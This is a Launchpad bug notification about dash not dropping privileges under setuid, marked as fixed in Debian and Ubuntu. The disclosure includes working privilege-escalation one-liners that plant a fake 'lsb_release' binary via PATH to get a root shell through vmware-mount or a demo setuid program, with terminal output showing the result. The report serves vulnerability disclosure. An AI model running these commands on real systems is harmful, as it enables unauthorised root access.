** Changed in: dash (Debian)
Status: Confirmed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dash in Ubuntu.
https://bugs.launchpad.net/bugs/1215660
Title:
dash does not drop privileges when euid != uid, this can cause local
root exploits when setuid programs use system() or popen()
Status in dash package in Ubuntu:
Fix Released
Status in dash package in Debian:
Fix Released
Bug description:
Poorly written setuid programs may call 'popen' or 'system' with
incorrectly specified arguments. For instance, there is a bug in
vmware-mount where it calls "popen('lsb-release')" (CVE-2013-1662). It
should be "popen('/usr/bin/lsb-release')". Because of this, an
attacker can drop a file named 'lsb-release' in . and then call
vmware-mount, and it will happily popen the attacker controlled file
as root.
Now, bash has a 'privdrop' option, however debian removed this option in the
1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
Most shells will drop privs when euid != uid, because it turns out
calling popen / system from setuid scripts is nearly impossible to get
right (in fact, pretty much any setuid script is insanely difficult to
write without a vulnerability in it.
Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root
If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("/bin/sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/local/google/home/antarus $ whoami
whoami: unknown uid XXXXX # I have omitted my actual UID, needless to say it
isn't uid 0 :)
Now you may be saying 'hey i don't have vmware-mount handy' so
instead:
antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include <stdio.h>
int main(int argc, char ** argv) {
popen("lsb_release", "r");
}
antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("whoami>`tty`
2>&1");}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root
Distributor ID: Ubuntu
Description: Ubuntu 12.04.1 LTS
Release: 12.04
Codename: precise
antarus@goats5 ~ $ apt-cache policy dash
dash:
Installed: 0.5.7-2ubuntu2
Candidate: 0.5.7-2ubuntu2
Version table:
*** 0.5.7-2ubuntu2 0
600 my-apt-mirror ubuntu-precise/main amd64 Packages
100 /var/lib/dpkg/status
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dash/+bug/1215660/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
